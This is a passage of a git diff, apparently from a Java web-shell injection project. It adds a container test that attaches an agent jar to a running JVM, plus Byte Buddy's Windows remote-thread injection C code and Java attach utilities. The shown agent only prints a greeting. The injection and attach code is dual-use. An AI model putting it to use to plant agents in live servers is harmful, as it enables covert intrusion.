appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||||
// Files.copy(tempJar, Paths.get("target.jar"));
|
|
||||||
FileUtils.deleteQuietly(tempJar.toFile());
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
||||||
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
|
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
|
||||||
@@ -108,6 +110,27 @@ public class ShellAssertionTool {
|
|||||||
containsString("ATTACH_ACK"),
|
containsString("ATTACH_ACK"),
|
||||||
containsString("JVM response code = 0")
|
containsString("JVM response code = 0")
|
||||||
));
|
));
|
||||||
|
} else if (packer.getInstance() instanceof AgentJarWithJREAttacherPacker) {
|
||||||
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
||||||
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
|
Files.write(tempJar, bytes);
|
||||||
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
|
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||||
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
|
String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
|
||||||
|
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
|
||||||
|
Container.ExecResult execResult = appContainer.execInContainer("java", "-jar", jarPath, pidInContainer);
|
||||||
|
String stdout = execResult.getStdout();
|
||||||
|
if (stdout.contains("executable file not found")) {
|
||||||
|
execResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, pidInContainer);
|
||||||
|
}
|
||||||
|
stdout = execResult.getStdout();
|
||||||
|
System.out.println(stdout);
|
||||||
|
System.out.println(execResult.getStderr());
|
||||||
|
log.info("attach result: {}", stdout);
|
||||||
|
assertThat(stdout, anyOf(
|
||||||
|
containsString("ok")
|
||||||
|
));
|
||||||
} else {
|
} else {
|
||||||
content = packer.getInstance().pack(generateResult);
|
content = packer.getInstance().pack(generateResult);
|
||||||
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||||
|
|||||||
+24
-5
@@ -19,16 +19,30 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
|||||||
*/
|
*/
|
||||||
public class TestCasesProvider {
|
public class TestCasesProvider {
|
||||||
|
|
||||||
public static Stream<Arguments> getTestCases(String imageName, Server server, List<String> testShellTypes, List<Packers> testPackers, List<Triple<String, ShellTool, Packers>> unSupportedCases) {
|
public static Stream<Arguments> getTestCases(String imageName,
|
||||||
|
Server server,
|
||||||
|
List<String> testShellTypes,
|
||||||
|
List<Packers> testPackers,
|
||||||
|
List<Triple<String, ShellTool, Packers>> unSupportedCases) {
|
||||||
return getTestCases(imageName, server, testShellTypes, testPackers, unSupportedCases, null);
|
return getTestCases(imageName, server, testShellTypes, testPackers, unSupportedCases, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Stream<Arguments> getTestCases(String imageName, Server server, List<String> testShellTypes, List<Packers> testPackers, List<Triple<String, ShellTool, Packers>> unSupportedCases, List<ShellTool> unSupportedShellTools) {
|
public static Stream<Arguments> getTestCases(String imageName,
|
||||||
|
Server server,
|
||||||
|
List<String> testShellTypes,
|
||||||
|
List<Packers> testPackers,
|
||||||
|
List<Triple<String, ShellTool, Packers>> unSupportedCases,
|
||||||
|
List<ShellTool> unSupportedShellTools) {
|
||||||
Set<ShellTool> supportedShellTools = new TreeSet<>(server.getShell().getSupportedShellTools());
|
Set<ShellTool> supportedShellTools = new TreeSet<>(server.getShell().getSupportedShellTools());
|
||||||
if (unSupportedShellTools != null) {
|
if (unSupportedShellTools != null) {
|
||||||
unSupportedShellTools.forEach(supportedShellTools::remove);
|
unSupportedShellTools.forEach(supportedShellTools::remove);
|
||||||
}
|
}
|
||||||
Set<String> unSupported = unSupportedCases == null ? Collections.emptySet() : unSupportedCases.stream().map(i -> i.getLeft() + i.getMiddle() + i.getRight()).collect(Collectors.toSet());
|
Set<String> unSupported = unSupportedCases == null ?
|
||||||
|
Collections.emptySet() :
|
||||||
|
unSupportedCases
|
||||||
|
.stream()
|
||||||
|
.map(i -> i.getLeft() + i.getMiddle() + i.getRight())
|
||||||
|
.collect(Collectors.toSet());
|
||||||
return supportedShellTools.stream()
|
return supportedShellTools.stream()
|
||||||
.flatMap(supportedShellTool -> {
|
.flatMap(supportedShellTool -> {
|
||||||
List<String> toolSupportedShellTypes = new ArrayList<>();
|
List<String> toolSupportedShellTypes = new ArrayList<>();
|
||||||
@@ -41,7 +55,9 @@ public class TestCasesProvider {
|
|||||||
return toolSupportedShellTypes.stream().flatMap(supportedShellType -> {
|
return toolSupportedShellTypes.stream().flatMap(supportedShellType -> {
|
||||||
if (supportedShellType.startsWith(ShellType.AGENT)) {
|
if (supportedShellType.startsWith(ShellType.AGENT)) {
|
||||||
if (!unSupported.contains(supportedShellType + supportedShellTool + Packers.AgentJar)) {
|
if (!unSupported.contains(supportedShellType + supportedShellTool + Packers.AgentJar)) {
|
||||||
return Stream.of(arguments(imageName, supportedShellType, supportedShellTool, Packers.AgentJar));
|
return Stream.of(
|
||||||
|
arguments(imageName, supportedShellType, supportedShellTool, Packers.AgentJar)
|
||||||
|
);
|
||||||
}
|
}
|
||||||
return Stream.empty();
|
return Stream.empty();
|
||||||
} else {
|
} else {
|
||||||
@@ -58,7 +74,10 @@ public class TestCasesProvider {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Stream<Arguments> getTestCases(String imageName, Server server, List<String> testShellTypes, List<Packers> testPackers) {
|
public static Stream<Arguments> getTestCases(String imageName,
|
||||||
|
Server server,
|
||||||
|
List<String> testShellTypes,
|
||||||
|
List<Packers> testPackers) {
|
||||||
return getTestCases(imageName, server, testShellTypes, testPackers, null);
|
return getTestCases(imageName, server, testShellTypes, testPackers, null);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,33 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java'
|
||||||
|
id "com.gradleup.shadow" version "8.3.6"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
|
version = '1.0.0'
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'net.java.dev.jna:jna:5.17.0'
|
||||||
|
implementation 'net.java.dev.jna:jna-platform:5.17.0'
|
||||||
|
}
|
||||||
|
|
||||||
|
jar {
|
||||||
|
manifest {
|
||||||
|
attributes 'Premain-Class': 'Agent'
|
||||||
|
attributes 'Agent-Class': 'Agent'
|
||||||
|
attributes 'Main-Class': "Main"
|
||||||
|
attributes 'Can-Redefine-Classes': true
|
||||||
|
attributes 'Can-Retransform-Classes': true
|
||||||
|
attributes 'Can-Set-Native-Method-Prefix': true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
jar.finalizedBy shadowJar
|
||||||
@@ -0,0 +1,130 @@
|
|||||||
|
/**
|
||||||
|
* Copyright 2014 - Present Rafael Winterhalter
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#define OPEN_JVM_ERROR 200
|
||||||
|
#define GET_ENQUEUE_FUNCTION_ERROR 201
|
||||||
|
#define CODE_SIZE (SIZE_T) 1024
|
||||||
|
#define MAX_ARGUMENT 1024
|
||||||
|
|
||||||
|
typedef HMODULE (WINAPI *GetModuleHandle_t)(LPCTSTR);
|
||||||
|
typedef FARPROC (WINAPI *GetProcAddress_t)(HMODULE, LPCSTR);
|
||||||
|
typedef int (__stdcall *JVM_EnqueueOperation_t)(char *, char *, char *, char *, char *);
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
GetModuleHandle_t GetModuleHandleA;
|
||||||
|
GetProcAddress_t GetProcAddress;
|
||||||
|
char library[32];
|
||||||
|
char command[32];
|
||||||
|
char commandFallback[32];
|
||||||
|
char pipe[MAX_PATH];
|
||||||
|
char argument[4][MAX_ARGUMENT];
|
||||||
|
} EnqueueOperation;
|
||||||
|
|
||||||
|
#pragma check_stack(off)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Executes the attachment on the remote thread. This method is executed on the target JVM and must not reference any addresses unknown to that address.
|
||||||
|
*
|
||||||
|
* @param argument The argument provided by the JVM executing the attachment.
|
||||||
|
* @return The result of the attachment.
|
||||||
|
*/
|
||||||
|
DWORD WINAPI execute_remote_attach
|
||||||
|
(LPVOID argument)
|
||||||
|
{
|
||||||
|
EnqueueOperation *operation = (EnqueueOperation *) argument;
|
||||||
|
HMODULE library = operation->GetModuleHandleA(operation->library);
|
||||||
|
if (library == NULL) {
|
||||||
|
return OPEN_JVM_ERROR;
|
||||||
|
}
|
||||||
|
JVM_EnqueueOperation_t JVM_EnqueueOperation = (JVM_EnqueueOperation_t) operation->GetProcAddress(library, operation->command);
|
||||||
|
if (JVM_EnqueueOperation == NULL) {
|
||||||
|
JVM_EnqueueOperation = (JVM_EnqueueOperation_t) operation->GetProcAddress(library, operation->commandFallback);
|
||||||
|
}
|
||||||
|
if (JVM_EnqueueOperation == NULL) {
|
||||||
|
return GET_ENQUEUE_FUNCTION_ERROR;
|
||||||
|
}
|
||||||
|
return (DWORD) JVM_EnqueueOperation(operation->argument[0],
|
||||||
|
operation->argument[1],
|
||||||
|
operation->argument[2],
|
||||||
|
operation->argument[3],
|
||||||
|
operation->pipe);
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma check_stack
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Allocates the code to execute on the remote machine.
|
||||||
|
*
|
||||||
|
* @param process The process handle of the remote process to which to attach.
|
||||||
|
* @return A pointer to the allocated code or {@code NULL} if the allocation failed.
|
||||||
|
*/
|
||||||
|
LPVOID allocate_remote_code
|
||||||
|
(HANDLE process)
|
||||||
|
{
|
||||||
|
LPVOID code = VirtualAllocEx(process, NULL, CODE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
if (code == NULL) {
|
||||||
|
return NULL;
|
||||||
|
} else if (!WriteProcessMemory(process, code, execute_remote_attach, CODE_SIZE, NULL)) {
|
||||||
|
VirtualFreeEx(process, code, 0, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return code;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Allocates the argument to the remote execution.
|
||||||
|
*
|
||||||
|
* @param process A handle to the remote process to which to attach.
|
||||||
|
* @param pipe The name of the pipe to which the attachment result is written
|
||||||
|
* @param argument0 The first argument to provide to the {@code JVM_EnqueueOperation}.
|
||||||
|
* @param argument1 The second argument to provide to the {@code JVM_EnqueueOperation}.
|
||||||
|
* @param argument2 The third argument to provide to the {@code JVM_EnqueueOperation}.
|
||||||
|
* @param argument3 The forth argument to provide to the {@code JVM_EnqueueOperation}.
|
||||||
|
* @return A pointer to the allocated argument or {@code NULL} if the allocation was not possible.
|
||||||
|
*/
|
||||||
|
LPVOID allocate_remote_argument
|
||||||
|
(HANDLE process, LPCSTR pipe, LPCSTR argument0, LPCSTR argument1, LPCSTR argument2, LPCSTR argument3)
|
||||||
|
{
|
||||||
|
if (strlen(pipe) >= MAX_PATH
|
||||||
|
|| argument0 != NULL && strlen(argument0) >= MAX_ARGUMENT
|
||||||
|
|| argument1 != NULL && strlen(argument1) >= MAX_ARGUMENT
|
||||||
|
|| argument2 != NULL && strlen(argument2) >= MAX_ARGUMENT
|
||||||
|
|| argument3 != NULL && strlen(argument3) >= MAX_ARGUMENT) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
EnqueueOperation operation;
|
||||||
|
operation.GetModuleHandleA = GetModuleHandleA;
|
||||||
|
operation.GetProcAddress = GetProcAddress;
|
||||||
|
strcpy(operation.library, "jvm");
|
||||||
|
strcpy(operation.command, "JVM_EnqueueOperation");
|
||||||
|
strcpy(operation.commandFallback, "_JVM_EnqueueOperation@20");
|
||||||
|
strcpy(operation.pipe, pipe);
|
||||||
|
strcpy(operation.argument[0], argument0 == NULL ? "" : argument0);
|
||||||
|
strcpy(operation.argument[1], argument1 == NULL ? "" : argument1);
|
||||||
|
strcpy(operation.argument[2], argument2 == NULL ? "" : argument2);
|
||||||
|
strcpy(operation.argument[3], argument3 == NULL ? "" : argument3);
|
||||||
|
LPVOID allocation = VirtualAllocEx(process, NULL, sizeof(EnqueueOperation), MEM_COMMIT, PAGE_READWRITE);
|
||||||
|
if (allocation == NULL) {
|
||||||
|
return NULL;
|
||||||
|
} else if (!WriteProcessMemory(process, allocation, &operation, sizeof(operation), NULL)) {
|
||||||
|
VirtualFreeEx(process, allocation, 0, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return allocation;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/22
|
||||||
|
*/
|
||||||
|
public class Agent {
|
||||||
|
public static void premain(String args, Instrumentation inst) {
|
||||||
|
System.out.println("hello premain");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) {
|
||||||
|
System.out.println("hello agentmain");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,931 @@
|
|||||||
|
/*
|
||||||
|
* Copyright 2014 - Present Rafael Winterhalter
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.MalformedURLException;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.security.CodeSource;
|
||||||
|
import java.security.PrivilegedAction;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||||
|
*/
|
||||||
|
public class Attacher {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Representation of the bootstrap {@link java.lang.ClassLoader}.
|
||||||
|
*/
|
||||||
|
private static final ClassLoader BOOTSTRAP_CLASS_LOADER = null;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The character that is used to mark the beginning of the argument to the agent.
|
||||||
|
*/
|
||||||
|
private static final String AGENT_ARGUMENT_SEPARATOR = "=";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The agent provides only {@code static} utility methods and should not be instantiated.
|
||||||
|
*/
|
||||||
|
private Attacher() {
|
||||||
|
throw new UnsupportedOperationException("This class is a utility class and not supposed to be instantiated");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||||
|
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||||
|
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown. The agent is not provided an argument.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param agentJar The agent jar file.
|
||||||
|
* @param processId The target process id.
|
||||||
|
*/
|
||||||
|
public static void attach(File agentJar, String processId) {
|
||||||
|
attach(agentJar, processId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void attach(String processId) {
|
||||||
|
attach(trySelfResolve(), processId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||||
|
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||||
|
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param agentJar The agent jar file.
|
||||||
|
* @param processId The target process id.
|
||||||
|
* @param argument The argument to provide to the agent.
|
||||||
|
*/
|
||||||
|
public static void attach(File agentJar, String processId, String argument) {
|
||||||
|
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Installs a Java agent on a target VM.
|
||||||
|
*
|
||||||
|
* @param processId The process id of the target JVM process.
|
||||||
|
* @param argument The argument to provide to the agent.
|
||||||
|
* @param agentProvider The agent provider for the agent jar or library.
|
||||||
|
*/
|
||||||
|
private static void install(String processId, String argument, AgentProvider agentProvider) {
|
||||||
|
AttachmentProvider.Accessor attachmentAccessor = AttachmentProvider.DEFAULT.attempt();
|
||||||
|
if (!attachmentAccessor.isAvailable()) {
|
||||||
|
throw new IllegalStateException("No compatible attachment provider is available");
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Class<?> virtualMachineType = attachmentAccessor.getVirtualMachineType();
|
||||||
|
String agent = agentProvider.resolve().getAbsolutePath();
|
||||||
|
Object virtualMachineInstance = virtualMachineType
|
||||||
|
.getMethod("attach", String.class)
|
||||||
|
.invoke(null, processId);
|
||||||
|
try {
|
||||||
|
virtualMachineType
|
||||||
|
.getMethod("loadAgent", String.class, String.class)
|
||||||
|
.invoke(virtualMachineInstance, agent, argument);
|
||||||
|
} finally {
|
||||||
|
virtualMachineType
|
||||||
|
.getMethod("detach")
|
||||||
|
.invoke(virtualMachineInstance);
|
||||||
|
}
|
||||||
|
} catch (RuntimeException exception) {
|
||||||
|
throw exception;
|
||||||
|
} catch (Exception exception) {
|
||||||
|
throw new IllegalStateException("Error during attachment using: " + AttachmentProvider.DEFAULT, exception);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts to resolve the location of the {@link Attacher} class for a self-attachment. Doing so avoids the creation of a temporary jar file.
|
||||||
|
*
|
||||||
|
* @return The self-resolved jar file or {@code null} if the jar file cannot be located.
|
||||||
|
*/
|
||||||
|
private static File trySelfResolve() {
|
||||||
|
try {
|
||||||
|
ProtectionDomain protectionDomain = Attacher.class.getProtectionDomain();
|
||||||
|
if (protectionDomain == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
CodeSource codeSource = protectionDomain.getCodeSource();
|
||||||
|
if (codeSource == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
URL location = codeSource.getLocation();
|
||||||
|
if (!location.getProtocol().equals("file")) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
File file = new File(location.toURI());
|
||||||
|
if (file.getPath().contains(AGENT_ARGUMENT_SEPARATOR)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return file;
|
||||||
|
} catch (URISyntaxException ignored) {
|
||||||
|
return new File(location.getPath());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider is responsible for making the Java attachment API available.
|
||||||
|
*/
|
||||||
|
public interface AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The default attachment provider to be used.
|
||||||
|
*/
|
||||||
|
AttachmentProvider DEFAULT = new Compound(ForModularizedVm.INSTANCE,
|
||||||
|
ForJ9Vm.INSTANCE,
|
||||||
|
ForStandardToolsJarVm.JVM_ROOT,
|
||||||
|
ForStandardToolsJarVm.JDK_ROOT,
|
||||||
|
ForStandardToolsJarVm.MACINTOSH,
|
||||||
|
ForUserDefinedToolsJar.INSTANCE,
|
||||||
|
ForEmulatedAttachment.INSTANCE);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts the creation of an accessor for a specific JVM's attachment API.
|
||||||
|
*
|
||||||
|
* @return The accessor this attachment provider can supply for the currently running JVM.
|
||||||
|
*/
|
||||||
|
Accessor attempt();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An accessor for a JVM's attachment API.
|
||||||
|
*/
|
||||||
|
interface Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The name of the {@code VirtualMachine} class on any OpenJDK or Oracle JDK implementation.
|
||||||
|
*/
|
||||||
|
String VIRTUAL_MACHINE_TYPE_NAME = "com.sun.tools.attach.VirtualMachine";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The name of the {@code VirtualMachine} class on IBM J9 VMs.
|
||||||
|
*/
|
||||||
|
String VIRTUAL_MACHINE_TYPE_NAME_J9 = "com.ibm.tools.attach.VirtualMachine";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Determines if this accessor is applicable for the currently running JVM.
|
||||||
|
*
|
||||||
|
* @return {@code true} if this accessor is available.
|
||||||
|
*/
|
||||||
|
boolean isAvailable();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||||
|
*
|
||||||
|
* @return {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||||
|
*/
|
||||||
|
boolean isExternalAttachmentRequired();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns a {@code VirtualMachine} class. This method must only be called for available accessors.
|
||||||
|
*
|
||||||
|
* @return The virtual machine type.
|
||||||
|
*/
|
||||||
|
Class<?> getVirtualMachineType();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns a description of a virtual machine class for an external attachment.
|
||||||
|
*
|
||||||
|
* @return A description of the external attachment.
|
||||||
|
*/
|
||||||
|
ExternalAttachment getExternalAttachment();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A canonical implementation of an unavailable accessor.
|
||||||
|
*/
|
||||||
|
enum Unavailable implements Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isAvailable() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Class<?> getVirtualMachineType() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Describes an external attachment to a Java virtual machine.
|
||||||
|
*/
|
||||||
|
class ExternalAttachment {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The fully-qualified binary name of the virtual machine type.
|
||||||
|
*/
|
||||||
|
private final String virtualMachineType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
private final List<File> classPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates an external attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType The fully-qualified binary name of the virtual machine type.
|
||||||
|
* @param classPath The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
public ExternalAttachment(String virtualMachineType, List<File> classPath) {
|
||||||
|
this.virtualMachineType = virtualMachineType;
|
||||||
|
this.classPath = classPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the fully-qualified binary name of the virtual machine type.
|
||||||
|
*
|
||||||
|
* @return The fully-qualified binary name of the virtual machine type.
|
||||||
|
*/
|
||||||
|
public String getVirtualMachineType() {
|
||||||
|
return virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the class path elements required for loading the supplied virtual machine type.
|
||||||
|
*
|
||||||
|
* @return The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
public List<File> getClassPath() {
|
||||||
|
return classPath;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor.
|
||||||
|
*/
|
||||||
|
abstract class Simple implements Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
protected final Class<?> virtualMachineType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
protected Simple(Class<?> virtualMachineType) {
|
||||||
|
this.virtualMachineType = virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||||
|
* to load the {@code com.sun.tools.attach.VirtualMachine} class from the provided class loader.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* This accessor is supposed to work on any implementation of the OpenJDK or Oracle JDK.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param classLoader A class loader that is capable of loading the virtual machine type.
|
||||||
|
* @param classPath The class path required to load the virtual machine class.
|
||||||
|
* @return An appropriate accessor.
|
||||||
|
*/
|
||||||
|
public static Accessor of(ClassLoader classLoader, File... classPath) {
|
||||||
|
try {
|
||||||
|
return new Simple.WithExternalAttachment(Class.forName(VIRTUAL_MACHINE_TYPE_NAME,
|
||||||
|
false,
|
||||||
|
classLoader), Arrays.asList(classPath));
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
return Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||||
|
* to load the {@code com.ibm.tools.attach.VirtualMachine} class from the provided class loader.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* This accessor is supposed to work on any implementation of IBM's J9.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @return An appropriate accessor.
|
||||||
|
*/
|
||||||
|
public static Accessor ofJ9() {
|
||||||
|
try {
|
||||||
|
return new Simple.WithExternalAttachment(ClassLoader.getSystemClassLoader().loadClass(VIRTUAL_MACHINE_TYPE_NAME_J9),
|
||||||
|
Collections.<File>emptyList());
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
return Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isAvailable() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Class<?> getVirtualMachineType() {
|
||||||
|
return virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor that allows for external attachment.
|
||||||
|
*/
|
||||||
|
protected static class WithExternalAttachment extends Simple {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The class path required for loading the virtual machine type.
|
||||||
|
*/
|
||||||
|
private final List<File> classPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
